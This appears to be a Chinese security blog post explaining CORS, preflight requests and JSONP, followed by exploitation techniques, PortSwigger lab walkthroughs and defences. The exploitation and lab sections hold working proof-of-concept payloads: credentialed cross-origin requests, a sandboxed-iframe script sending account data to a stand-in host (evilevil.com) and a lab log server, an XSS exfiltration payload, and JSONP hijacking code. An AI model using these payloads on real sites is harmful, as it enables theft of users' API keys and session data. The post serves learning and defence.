目录

简介

现代 Web 应用一般前后端分离,数据呢是 REST API 获取,那自然而然就用 JS 去发送请求。由于浏览器实施同源策略,JS 向其他域发起请求其响应内容会被忽略,无法获取,这时必须跨域才能获取数据。

随便打开一个站点在 DevTools Console 执行 fetch('https://www.raingray.com/test.php') 或是下面代码。

var oReq = new XMLHttpRequest();
oReq.open("GET", "https://www.raingray.com/test.php");
oReq.send();

都将会发起以下请求并得到响应。

GET /test.php HTTP/1.1
Host: www.raingray.com
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36
Accept: */*
Origin: https://www.baidu.com
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://www.baidu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


HTTP/1.1 200 OK
Server: nginx
Date: Sat, 08 May 2021 08:21:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Content-Length: 10

浏览器端根据同源策略在 Response Header 检查 Access-Control-Allow-Origin 值与当前 Origin 不匹配,直接发出错误提示。

Access to XMLHttpRequest at 'https://www.baidu.com/' from origin 'https://www.raingray.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.

发起跨域请求浏览器警告.png

虽然请求成功发送,却得不到响应内容。

发起跨域请求浏览器警告-network.png

为啥会出现呢?XMLHttpRequest 在发送请求时会自动带上 Origin Header,浏览器依据同源策略发现与请求目标不是同源,不读取响应内容。

常用跨域方法

CORS 跨域

比较正规的是 CORS 来跨域,它已经是个 Web 标准,在此之前还有 JSONP 可以另类实现跨域,暂时放到文尾介绍。

知道前面错误原因,服务端通过设置 Access-Control-Allow-Origin 来允许哪个源获取数据——关键点在于值不能设置为 *,不然谁都可以获取数据不就自己主动打破同源策略保护么。具体设置方法可以在 WebServer 或具体脚本中设置,只要能返回 Access-Control-Allow-Origin 就行。

以 PHP 示例,所有设置方法见文尾参考链接中 Cross-Origin Resource Sharing (CORS) (web.dev) 一文。

<?php
    header("Access-Control-Allow-Origin: https://www.baidu.com");
    echo 'test data';

设置完成后再次访问就能得到数据。

跨域得到数据.png

那我们尝试用 JavaScript 设置个 Origin: https://www.baidu.com 头呢?是不是可以绕过。

fetch覆盖Origin头.png

实际上覆盖失败。

fetch覆盖Origin头-覆盖失败.png

携带 Cookie 发送跨域请求

跨域中有很多场景需要携带 Cookie 去访问,在前面的操作中默认没有带有 Cookie 进行请求,JS 请求时需要专门启用属性。

var oReq = new XMLHttpRequest();
oReq.open("GET", "https://www.raingray.com/test.php", true); // 添加 true
oReq.withCredentials = true;  // 携带 Cookie 访问
oReq.send();

Fetch 也一样。

fetch('https://www.raingray.com/test.php', {
  credentials: 'include'  // 携带 Cookie 访问
})

你请求中带有Server 端在响应头也要加上 Access-Control-Allow-Credentials: true,如果不带,浏览器找不到响应头就不显示展示响应数据。

尝试 Server 不带 Access-Control-Allow-Credentials: true

Access to XMLHttpRequest at 'https://www.raingray.com/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: The value of the 'Access-Control-Allow-Credentials' header in the response is '' which must be 'true' when the request's credentials mode is 'include'. The credentials mode of requests initiated by the XMLHttpRequest is controlled by the withCredentials attribute.

带上Cookie跨域请求.png

Server 添加上响应头,去访问。

 <?php
    header("Access-Control-Allow-Origin: https://www.baidu.com");
    header("Access-Control-Allow-Credentials: true");
    echo 'test data';

带上Cookie跨域请求正常.png

没有报错,但是 Header 中没发现 Cookie,原因是 Cookie 中 Domain 没有 raingray.com 或 www.raingray.com 或者 Path 不在作用域范围内,所以浏览器不会带上其所有 Cookie。

Cookie Domain 属性作用域.png

Server 端在设置 Access-Control-Allow-Credentials: true 的同时要注意 Access-Control-Allow-Origin 值不能为 * 否则浏览器也不会获取响应数据。

 <?php
    header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Credentials: true");
    echo 'test data';

Access-Control-Allow-Credentials设置错误.png

CORS-preflight request

日常测试中你肯定见过有法 OPTIONS 请求,但一直搞不明白是什么意思,其实 OPTIONS 请求叫 Preflight request(预检请求),目的是防止一些有害请求发送到服务器,而 OPTIONS 就是在发送真正请求前做检查,一旦不在服务器允许方法或请求头范围内浏览器就报错,后面请求不会发送。

哪些情况下会发送预检请求?

先看不会发送预检请求的情况。只有使用请求方法 GET、POST、HEAD,或使用 cors-safelisted-request-header 中的请求头和值才不会发送预检请求,这种请求叫 Simple requests。

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type
    • application/x-www-form-urlencoded
    • multipart/form-data
    • text/plain
  • Range

当不符合上述限定的请求方法和请求头就会发送预检请求。

继续用 test.php 为例。为方便测试允许任意域发起的跨域请求。

<?php
    header("Access-Control-Allow-Origin: *");
    echo 'test data';

在浏览器 Console 发送请求把服务器的响应通过 log 打印在控制台。

fetch(
    'https://www.raingray.com/usr/themes/default/test.php',
    {
        method: 'POST',
        headers: {'Authorization': 'Bearer null'},
        body: 'a=1'
    }
)
.then(response => response.text())
.then( result => console.log(result));

奇怪的是通过代理获取到完整请求只有 OPTIONS。

OPTIONS /usr/themes/default/test.php HTTP/2
Host: www.raingray.com
Accept: */*
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization
Origin: https://www.baidu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.53 Safari/537.36
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Sec-Fetch-Dest: empty
Referer: https://www.baidu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9


HTTP/2 200 OK
Server: nginx
Date: Sat, 30 Jul 2022 05:36:25 GMT
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *

test data

根据前面说的两个规则做检查,请求方法在范围内而请求头 authorization 在 cors-safelisted-request-header 范围外,整体不构成 SimpleRequest,必须发送预检请求。

这一点可以通过预检请求两个新增请求头来核对。

Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization

Access-Control-Request-Method 表明本次请求使用的方法,Access-Control-Request-Headers 本次请求头使用的请求头。

为什么后续 POST 请求没有发送?观察 Console 发现返回 CORS Policy Error,说预检响应中 authorization 不被允许。

Access to fetch at 'https://www.raingray.com/usr/themes/default/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: Request header field authorization is not allowed by Access-Control-Allow-Headers in preflight response.

预检响应不允许使用请求头.png

和配置 Access-Control-Allow-Origin 一样原理,只是浏览器没有看到服务器返回的请求头中包含 authorization,只要在服务端配置 Access-Control-Allow-Headers 就能解决。

<?php
    header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Headers: authorization");
    echo 'test data';

这里我配置的是一个请求头 header("Access-Control-Allow-Headers: authorization"),如果你想使用任何请求头使用使用 *,或者有多个请求头可以用逗号做分隔 Header, Header

重新请求,没有报错,成功输出 Response Body。

预检响应允许使用请求头.png

前面只是 Access-Control-Allow-Headers 错误,再来看 Access-Control-Allow-Methods 错误是什么样子的,确保以后遇到觉得眼熟。

前面说过请求方法是 GET、POST、HEAD 方法就不会触发预检请求,因此就算 Access-Control-Allow-Methods 限制方法只能为 GET,那么使用 POST、HEAD 也没事因为处于 SimpleRequest 请求方法范围内,但超出这个范围请求方法会被阻止,如 PUT、PATCH、DELETE、OPTIONS。

这回把请求方法改为 PATCH。

fetch(
    'https://www.raingray.com/usr/themes/default/test.php',
    {
        method: 'PATCH',
        headers: {'Authorization': 'Bearer null'},
        body: 'a=1'
    }
)
.then(response => response.text())
.then( result => console.log(result));

显示 PATCH 方法不被允许。

Access to fetch at 'https://www.raingray.com/usr/themes/default/test.php' from origin 'https://www.baidu.com' has been blocked by CORS policy: Method PATCH is not allowed by Access-Control-Allow-Methods in preflight response.

预检响应不允许使用请求方法.png

还是一样,配置响应头 header("Access-Control-Allow-Methods: PATCH");,值可以使用 *,代表任何方法,也可以使用逗号做分隔,如 PUT, PATCH

<?php
    header("Access-Control-Allow-Origin: *");
    header("Access-Control-Allow-Headers: Content-Type");
    header("Access-Control-Allow-Methods: PATCH");
    echo 'test data';

允许 PATCH 方法后请求成功。

预检响应允许使用请求方法.png

CORS 预检请求还剩一个请求头你就学完所有内容了,最后我们来谈谈 Access-Control-Max-Age

Access-Control-Max-Age 的出现是控制 OPTIONS 请求缓存有效期,如果设置这个头浏览器会将本次 OPTIONS 响应结果(Access-Control-Allow-Methods 和 Access-Control-Allow-Headers)缓存,在缓存时间内发送请求不需要预检,等过期后再做预检,这样就能省下 OPTIONS 请求时间。

Access-Control-Max-Age 配置也很简单,Value 单位是秒。

Access-Control-Max-Age: 86400

Value 常见配置。

返回结果可以被缓存的最长时间(秒)。
在 Firefox 中,上限是 24 小时 (即 86400 秒)。
在 Chromium v76 之前, 上限是 10 分钟(即 600 秒)。
从 Chromium v76 开始,上限是 2 小时(即 7200 秒)。
Chromium 同时规定了一个默认值 5 秒。
如果值为 -1,表示禁用缓存,则每次请求前都需要使用 OPTIONS 预检请求。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Access-Control-Max-Age

JSONP

在跨域原理介绍完成之前还要回顾下很老的 JSONP。JSONP 全称是 JSON With Padding 主要原理是通过 script 标签获得响应内容去调用函数来实现。

这次我们在本地搭建 WebServer,首先在根目录创建 test.php。

<?php 
    header('Content-type: application/json; charset=utf-8');
    $data = '{"name":"bob"}';
    echo $_GET['callback'].'('.$data.')'; # 原封不动输出 callback 可能有 XSS

访问 https://127.0.0.1/test.php?callback=testa 这个接口返回 testa({"name":"bob"}),因为传啥就返回啥,其中传入的参数 testa 会被当作 padding 输出,得到 testa(),再把 JSON 数据{"name":"bob"}拼接,最终得到 testa({"name":"bob"})

为什么要返回一个很奇怪的数据呢?是需要前端 JS 去解析它。仔细观察返回的数据,它跟 JS 中函数定义方式一样?其中传入 {"name":"bob"} JSON 数据,在 JS 中这种数据会被当作对象,那么作为参数传入函数内部就可以直接调用此对象。

直接在前端编写如下代码。

<script>
    function testa(data){  // 先定义好函数方便后面去调用,不然调用一个不存在的函数会报错。
        console.log(data.name);
    }
</script>
<script src="https://127.0.0.1/test.php?callback=testa"></script>

当打开这个页面时,整个客户端发起跨域的过程是用 script 标签 src 属性调用 test.php 接口。

  1. 打开页面 script 标签向 https://127.0.0.1/test.php?callback=testa 发起 HTTP GET 请求。
  2. 请求成功得到后端 test.php 响应内容 testa({"name":"bob"})
  3. 内容被 script 标签当作 JavaScript 代码执行,就相当于调用了先前定义的 testa 函数并把 JSON 数据当作参数传入 。
  4. 函数体对参数进行操作,使用 console.log 在浏览器 Console 日志返回 name 对象属性 bob 的值,完成整个跨域请求。

其实以上操作在 JQuery 中已经帮你做好封装自动创建 DOM,不需要手动单独创建 script 标签将 src 指向 API,或在 document API 创建 script 标签 append 到 body 这一冗余繁琐过程。

$.ajax({
    url: "https://127.0.0.1/test.php", // 要请求的 API
    jsonp: "jsonpcallback",
    dataType: "jsonp",
    data: {
        callback: "returndata"
    }});

function returndata(data) {
    alert(data.name)
}

JqueryAjax自动生成script标签.png

光是成功完成跨域还不行,如果后端代码中没有添加 Content-type: application/json; charset=utf-8,浏览器会默认猜测 MIME 类型。本次测试中发现默认是 text/html,浏览器只要解析 HTML 那么就会产生 HTML 注入,可以尝试 XSS 攻击。

当访问 http://127.0.0.1/test.php?callback=<img%20src%3d%23%20onerror%3dalert%281%29> 会返回 <img src=# onerror=alert(1)>({"name":"bob"})

GET /test.php?callback=%3Cimg%20src%3d%23%20onerror%3dalert%281%29%3E HTTP/1.1
Host: 127.0.0.1
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


HTTP/1.1 200 OK
Server: nginx/1.15.11
Date: Mon, 24 May 2021 03:20:42 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/7.3.4
Content-Length: 44

<img src=# onerror=alert(1)>({"name":"bob"})

响应中发现 Content-Type: text/html; charset=UTF-8,意思是告诉浏览器按照 HTML 来解析内容,那么 img 标签就会被解析。

以上介绍了古老 JSONP 和现在 CORS,除以上两种方法外,还有以下操作跨域方法:

  1. 通过代理跨域 :先向本域 Proxy 发送请求 -> Proxy 转发给其他服务器 -> 其他服务器处理完请求返回数据给 Proxy -> 返回给浏览器。
  2. 根据请求中的 Origin 动态生成对应 Access-Control-Allow-Origin(下面简称 ACAO)值。

利用条件

无法利用

1.应用或者 WebServer 配置错误

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

浏览器请求会报错,Access-Control-Allow-Credentials 为 true,ACAO 不能为通配符。

2.只有 ACAO 头可控

Access-Control-Allow-Origin: *

ACAO 头能控制,但是不允许携带 Cookie 请求。除非目标接口认证缺失,这样是未授权,没必要通过 CORS 利用。另一个思路是利用浏览器缓存获取数据,只要服务端允许浏览器做缓存,可以利用 JS 请求获取缓存数据。

3.参数不可预测

URL 中有不确定因素,如 Token 或 Signature 等手段也无法进行攻击,这跟 CSRF 防护原理一致。

可以利用

1.Origin 内容反射在 ACAO

不管 Origin 输入什么,响应头 ACAO 都会返回对应 URL,而且 Access-Control-Allow-Credentials 允许带 Cookie 请求。

Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Credentials: true

市面上工具检测基本原理也是根据 Origin 输入的内容去匹配响应头中输出。最简单的方式是用 curl 去验证。

curl https://example.com -H "Origin: https://example.com" -I

2.ACAO 能使用 null

如遇到在 Origin 输入 null,ACAO 也返回 null,可以利用。

Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

利用思路

另一个情况是 CORS 白名单域名应用存在 Open Redirect 漏洞,可以使用 Open Redirect,触发 XSS 绕过 CORS 检查,发起请求获取数据,这样就大大减少用户警觉。待验证。如果重定向 XSS Orgin 是 null 能绕过 null 限制吗?

创建 CSRF POC 发起跨域请求

example.com 存在跨域漏洞,创建一个 CSRF POC 页面,受害者打开恶意自动携带 Cookie 向 API 发送请求得到数据。

POC1,使用 XMLHttpRequest。

function get_cors() { 
    var xhttp = new XMLHttpRequest(); 
    xhttp.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            alert(this.responseText);  // 打开即弹出数据
        }   
    };
    xhttp.open("GET", "https://example.com", true);
    xhttp.withCredentials = true;
    xhttp.send(); 
}

function post_cors() { 
    var xhttp = new XMLHttpRequest();
    parms = 'POST Data'

    xhttp.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            alert(this.responseText);  // 打开即弹出数据
        }   
    };
    xhttp.open("POST", "https://example.com", true);
    xhttp.withCredentials = true;
    xhttp.send(parms); 
}

POC2,使用 fetch。

function get_cors(){
    var options = {
        method:"GET",
        credentials: 'include'
    }
    var init_fetch = fetch(url="https://example.com/api",options);
    init_fetch.then(response => {
        return response.text();
    })
}


function post_cors(){
    var options = {
        method:"POST",
        credentials: 'include',
        body: "test=data"
    }
    var init_fetch = fetch(url="https://example.com/api",options);
    init_fetch.then(response => {
        return response.text();
    })
}

JSONP 劫持和 XSS

遇到 JSONP 原封不动输出 callback 内容,可以尝试 XSS。

或者建立 eval.html 使用 scirpt 标签发起跨域请求获得数据,也是大家口中说的 JSONP 劫持。

function userObject(obj) {
    console.log(JSON.stringify(obj))
}

<script src="//example.com/API/getUserInfo?callback=userObject"></script>

整个流程是受害者已经登录,访问恶意页面 script 标签自动携带凭证向 API 发起 GET 请求,假设返回内容是 userObject({userName"123213", phone: 13412341234}),script 响应内容去调提前定义好的 userObject 函数并把对象当作实参传入,而此函数通常可以将数据发送到其他服务器上,这样相当于被劫持。

不过 script 只能发送 GET 请求,遇到带有参数的 POST API 就焉了。

获取缓存数据(待补充)

利用浏览器缓存获取数据。

fetch('http://host/v1/api', {
    method: 'GET',
    cache: 'force-cache'
}).then(response => response.text()).then(body => alert(body))

参考资料:

绕过方法

整体思路和 CSRF 绕过差不多。都是检查 ACAO 的值。

字符串包含

Origin 校验部分字符串是否匹配,可以绕过。比如原本 Origin: test.com 只要 Origin 包含 test.com 就行,可以伪造 test.com.raingray.com 或 gbbtest.com。

正则匹配

只允许 example.com 和 *.example.com跨域,尝试 evilexample.com 无效,试试带上子域名,sub.eviltarget.com。这种是正则匹配数据出现问题。

浏览器域名解析(待补充)

https://www.corben.io/advanced-cors-techniques 一文提到浏览器域名解析来绕过 Origin 限制子域名情景(*.example.com),反正不管啥子域名都能接收,那么让受害者访问 example.com!.eval.com,能够跳转到我们指定的域名就行(做 cname)。

这个要看浏览器是否能不检查域名错误直接去访问,https://infosecwriteups.com/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397 这篇文章 Part 2 有实际案例,Safari 浏览器在 Origin 可以接受 ASCII 码,比如在 example.com 域名在前面添加 ASCII 可能绕过直接访问到服务端数据。其实到这里为什么不用思路 1 绕过呢?这种绕个圈太麻烦,虽然有研究意义。

此小节的绕过没有经过验证,看浏览器版本很老,估计已经修复。

域名限制

example.com 存在跨域漏洞,不过限制了只能子域名和 xxx.com 能访问,可以尝试在子域名 *.example.com 和 xxx.com 中挖掘 XSS,通过事件或注入 script 标签向发起 example.com 请求获取数据。

如果能子域接管也能绕过,你可能会问啥是子域名接管。简单来说是 a.com 设置 CNAME 记录指向 b.com,当在浏览器访问 a.com 时 浏览器解析到记录为 b.com,浏览器一看 ACAO 与当前 b.com 域名一致同源策略就不拦截。需要搭建环境进行测试

ACAO 允许为 NULL

通过 Redirect、iframe 触发 Orgin: null

iframe POC:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>
var req = new XMLHttpRequest();
req.onload = a;
req.open('get','https://www.example.com/data',true);
req.withCredentials = true;
req.send();

function a() {
location='https://evilevil.com/?d='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

上述代码可以尝试压缩成一行,看行不行(待测试)。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html, <script>var req = new XMLHttpRequest();req.onload = a;req.open('get','https://www.example.com/data',true);req.withCredentials = true;req.send();function a() {location='https://evilevil.com/?d='+encodeURIComponent(this.responseText);};</script>"></iframe>

试试重定向怎么把 Orgin 设置为 null。

要是目标域名应用存在 Open Redirect 漏洞,可以使用 Open Redirect,触发 XSS 绕过 CORS 检查,发起请求获取数据,这样就大大减少用户警觉。待验证。如果重定向 XSS 发起的请求 Orgin 是 null 还是当前域名?

靶场练习

Web Security Academy

Lab: CORS vulnerability with basic origin reflection

在你登录之后会发送请求 API 获取账户信息。尝试添加 Origin 任意值,就会得到对应值,应该是程序根据此 Origin 内容进行匹配返回,这种情况在实际中蛮多。

GET /accountDetails HTTP/1.1
Host: ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.62
Accept: */*
Origin: test.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=qztvJiGnZ84Bi7Z1807LKebdOFj6Eb9S


HTTP/1.1 200 OK
Access-Control-Allow-Origin: test.com
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "yhHnDbE1iCRRccU2j4mnmjHstWz0WPiK",
  "sessions": [
    "qztvJiGnZ84Bi7Z1807LKebdOFj6Eb9S"
  ]
}

在 Server 中填入 POC。

<script>
    var data;
    var req = new XMLHttpRequest();
    req.onreadystatechange = function() {     
        if (this.readyState == 4 && this.status == 200) { 
            data = JSON.parse(this.responseText).apikey; // 获取 APIKey
            console.log(data)
        }
    };
    req.open('get','https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    // 传输得到的数据
    req.open('post', 'https://ac1c1fae1f08eafe80749a2b00fd00bd.web-security-academy.net/submitSolution', true)
    req.withCredentials = true;
    req.send('answer=' + data);
</script>

访问此 html 页面既可在 Console 拿到 apikey,只不过必须按照靶场标准提交过程来完成实验,有点麻烦。

Lab: CORS vulnerability with trusted null origin

这次 Origin 不管输入啥域名都会返回 500,只有 null 是正常返回数据。

GET /accountDetails HTTP/1.1
Host: ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net
Connection: close
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.62
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Origin: null
Referer: https://ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net/my-account
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=k3AGgvssHGKAik96Ld59WGhwoye4usEG


HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "PO7emHlGQOt7RUyFTqDzpWFthNRld6az",
  "sessions": [
    "k3AGgvssHGKAik96Ld59WGhwoye4usEG"
  ]
}

POC。

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://acc11f0d1e27ac8f80690ba0006300dc.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://ac441fca1e54ac8080910b7301c600ba.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>

打开 html 后会 Network 面板显示先请求 src 中内容。

data:text/html,<script>%0Avar req = new XMLHttpRequest();%0Areq.onload = reqListener;%0Areq.open('get','https://ac871f3f1f3c9ebb804a261f00b00030.web-security-academy.net/accountDetails',true);%0Areq.withCredentials = true;%0Areq.send();%0A%0Afunction reqListener() {%0Alocation='malicious-website.com/log?key='+this.responseText;%0A};%0A</script>

接下来就是 JS 发送请求,和以前相比 Origin 值为 null,相当于用 data: 协议执行 HTML 中的 JavaScript。

我看有人不加 sandbox 属性 也可成功 <iframe src="data:text/html,<script>...</script>。经过实验发现确实可以不加,这之间的区别暂时没弄清。

除此之外通过重定向也会产生 Origin: null 的现象。下面通过本地搭建 127.0.0.1:80/index.php 和 127.0.0.1:8090/redirect.php 两个站点来验证。

127.0.0.1:80/index.php。

fetch('http://127.0.0.1:8090/redirect.php', {
    credentials: 'include'  // 携带 Cookie 访问
})

127.0.0.1:8090/redirect.php。

<?php
    header("Access-Control-Allow-Origin: http://127.0.0.1:80");
    header("Access-Control-Allow-Credentials: true");
    header("Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails", true, 307);
    // 301/302/307 重定向均为 null

当访问 127.0.0.1:80/index.php 后 Fetch 向 127.0.0.1:8090/redirect.php 发起 GET 请求,Response 307 重定向到 API 接口获取数据。

GET /redirect.php HTTP/1.1
Host: 127.0.0.1:8090
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: */*
Origin: http://127.0.0.1
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6


HTTP/1.1 307 Temporary Redirect
Server: nginx/1.15.11
Date: Tue, 25 May 2021 05:10:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.4
Access-Control-Allow-Origin: http://127.0.0.1
Access-Control-Allow-Credentials: true
Location: https://aca31fd61ecb3511806502b700d40080.web-security-academy.net/accountDetails

此时访问 API 的请求 Origin 是 null。

GET /accountDetails HTTP/1.1
Host: aca31fd61ecb3511806502b700d40080.web-security-academy.net
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Microsoft Edge";v="90"
DNT: 1
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Edg/90.0.818.66
Accept: */*
Origin: null
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session=wHMLuBozwdsx16MdbRs6yYyd43SNg9ia


HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-XSS-Protection: 0
Connection: close
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "qtPYfFbck2qwyT9p0sZX1U8ox3jvmu4V",
  "sessions": [
    "wHMLuBozwdsx16MdbRs6yYyd43SNg9ia"
  ]
}

既然支持 307 那么 Fetch 使用任意 HTTP 方法都可以支持重定向,不会改变重定向后的请求方法。不管 API 支持什么请求方法都能够执行。

Lab: CORS vulnerability with trusted insecure protocols

Origin 只接受 xxx.web-security-academy.net 实验室的域名,恰好商品详情页 productId 参数存在反射 XSS 。

通过 XSS 发送请求获取数据

<script>
    window.location.href="https://stock.ac5e1f261e9edaaf80df2f82005000f5.web-security-academy.net/?productId=%3cscript>fetch('https://ac5e1f261e9edaaf80df2f82005000f5.web-security-academy.net/accountDetails', {credentials: 'include'}).then(function(response){response.text().then(function(text){document.location='https://ac721f0a1e24dadb80d32f2e014d004d.web-security-academy.net/log?key='%2btext;})})%3c/script>&storeId=1"
</script>

防御

JSONP 防御

  1. 返回响应头 Content-type: application/json 告诉浏览器是 JSON 数据,别按照 HTML 解析。
  2. callback 参数值进行 HTML 实体编码,避免尖括号解析为 HTML 标签。
  3. 对 callback 参数值做白名单处理,不在白名单内的值返回 error。

CORS 防御

  1. 获取当前请求的 Host 将它设置为 ACAO 的值。只要保证不是 * 即可。

其实以上都是具体的防御手段,但是随着浏览器安全越来越重视 CSRF,现代浏览器直接把 Cookie属性 SameSIte 设置为 Lax,直接避免了 CSRF。例如 Chrome 就直接在 Chrome Stable 84 版本开始全面启用。

总结

两个域之间发送请求就是跨域,能不能跨域成功主要靠浏览器进行限制,常见跨域方式有 JSONP 和 CORS 两种。

JSONP 相比 CORS 对应威胁多出 XSS,其他利用根本思路是使用 Cookie 将数据获取。它们获取数据的利用手法跟 CSRF 没区别,都需要用户交互。

这种类 CSRF 漏洞不是传统 SESSION 认证就没办法利用,遇到用 JWT 或自定义请求头进行身份识别的就洗洗睡吧。

参考链接

最近更新:

发布时间:

讨论讨论